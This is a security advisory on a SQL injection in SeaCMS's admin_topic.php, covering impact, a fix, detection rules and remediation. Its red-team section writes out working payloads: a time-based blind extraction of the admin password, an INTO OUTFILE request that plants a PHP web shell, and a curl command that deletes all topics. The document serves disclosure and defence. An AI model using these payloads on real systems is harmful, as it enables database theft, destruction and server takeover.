CVE-2025-3797

Executive Summary

CVE-2025-3797 is a critical SQL injection vulnerability discovered in SeaCMS up to version 13.3. The flaw resides in the /admin_topic.php?action=delall endpoint, where the e_id argument is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some cases, remote code execution via stacked queries or file write operations. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a high-priority threat for all SeaCMS deployments.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a direct web application vulnerability in the SeaCMS content management system.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the admin_topic.php script. The action=delall parameter triggers a batch delete operation. The e_id parameter, which is expected to contain a comma-separated list of IDs, is directly concatenated into a SQL DELETE statement without proper sanitization or parameterization.

Vulnerable Code Path (Conceptual):

// admin_topic.php
$e_id = $_GET['e_id'];
$sql = "DELETE FROM `seacms_topic` WHERE `id` IN ($e_id)";
$db->query($sql);

An attacker can inject SQL by providing a malicious e_id value. For example:

/admin_topic.php?action=delall&e_id=1 OR 1=1

This would delete all topics. More sophisticated payloads can extract data, enumerate the database, or even write a web shell if the database user has FILE privileges.

Key Mechanics:

• The injection point is in the IN() clause.
• The database user is likely root or a high-privilege user, as SeaCMS often runs with full database access.
• The attack is blind or error-based, depending on the database configuration.

Vulnerable vs. Patched Code

Vulnerable Code (SeaCMS <= 13.3):

// admin_topic.php (vulnerable)
$e_id = $_GET['e_id'];
$sql = "DELETE FROM `seacms_topic` WHERE `id` IN ($e_id)";
$db->query($sql);

Patched Code (Hypothetical):

// admin_topic.php (patched)
$e_id = $_GET['e_id'];
// Validate that e_id contains only comma-separated integers
if (!preg_match('/^[0-9,]+$/', $e_id)) {
    die('Invalid input');
}
$sql = "DELETE FROM `seacms_topic` WHERE `id` IN ($e_id)";
$db->query($sql);

A more robust fix would use prepared statements:

$e_id_array = explode(',', $_GET['e_id']);
$placeholders = implode(',', array_fill(0, count($e_id_array), '?'));
$sql = "DELETE FROM `seacms_topic` WHERE `id` IN ($placeholders)";
$stmt = $db->prepare($sql);
$stmt->execute($e_id_array);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running SeaCMS <= 13.3.
• Network access to the /admin_topic.php endpoint.

Exploit Steps:

1. Identify the target: http://target.com/admin_topic.php?action=delall
2. Test for injection: Send a request with a simple payload to cause a delay or error.

   GET /admin_topic.php?action=delall&e_id=1 AND SLEEP(5) HTTP/1.1
   Host: target.com
   

3. Extract data (blind SQLi): Use boolean-based or time-based techniques.

   GET /admin_topic.php?action=delall&e_id=1 AND (SELECT IF(SUBSTRING((SELECT password FROM seacms_admin LIMIT 1),1,1)='a',SLEEP(5),0)) HTTP/1.1
   

4. Write a web shell (if FILE privilege exists):

   GET /admin_topic.php?action=delall&e_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9 INTO OUTFILE '/var/www/html/shell.php' FIELDS TERMINATED BY '<?php system($_GET["cmd"]); ?>' HTTP/1.1
   

Example cURL command:

curl -v "http://target.com/admin_topic.php?action=delall&e_id=1%20OR%201=1"

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /admin_topic.php with unusual e_id parameters (e.g., containing SQL keywords like UNION, SLEEP, OR, AND).
• Look for HTTP requests with a high number of parameters or very long query strings.
• Use a WAF to block SQL injection patterns.

Hunting:

• Search for admin_topic.php?action=delall in access logs.
• Look for e_id values that contain non-numeric characters.
• Check for outbound database connections from the web server to unknown IPs.

Containment:

• Immediately block access to /admin_topic.php at the web server or firewall level.
• If possible, take the vulnerable server offline for forensic analysis.
• Review database logs for unauthorized queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin_topic.php?action=delall with e_id containing SQL keywords.
  • Outbound database connections from the web server to unusual IPs.
• File System IOCs:
  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Modified or deleted topic entries in the database.
• Log IOCs:
  • Web server logs showing 400 or 500 errors from /admin_topic.php.
  • Database logs showing DELETE statements with unusual WHERE clauses.

Detection Engineering

YARA Rule

rule CVE_2025_3797_SeaCMS_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-3797 in SeaCMS"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-3797"
    strings:
        $sqli1 = "admin_topic.php?action=delall&e_id="
        $sqli2 = "UNION SELECT"
        $sqli3 = "SLEEP("
        $sqli4 = "OR 1=1"
        $sqli5 = "INTO OUTFILE"
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2025-3797 SeaCMS SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against SeaCMS admin_topic.php
author: Valters IT
date: 2025/04/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'admin_topic.php?action=delall&e_id='
        cs-uri-query|re: 
            - '(UNION|SELECT|SLEEP|OR\s+1=1|INTO\s+OUTFILE)'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-3797 SeaCMS SQL Injection Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/admin_topic.php?action=delall&e_id=";
    http_uri;
    pcre:"/(UNION|SELECT|SLEEP|OR\s+1=1|INTO\s+OUTFILE)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-3797;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /admin_topic.php via .htaccess or web server configuration.

   <Files "admin_topic.php">
       Require all denied
   </Files>
   

2. Apply input validation: If you cannot disable the endpoint, add server-side validation to ensure e_id contains only comma-separated integers.
3. Use a Web Application Firewall (WAF): Deploy rules to block SQL injection patterns.

Long-Term Fix:

• Upgrade to a patched version of SeaCMS once available.
• Rewrite the vulnerable code to use prepared statements or parameterized queries.
• Conduct a full security audit of the SeaCMS codebase.

Monitoring:

• Enable detailed logging for all web requests and database queries.
• Set up alerts for any SQL injection patterns detected in logs.

Valters IT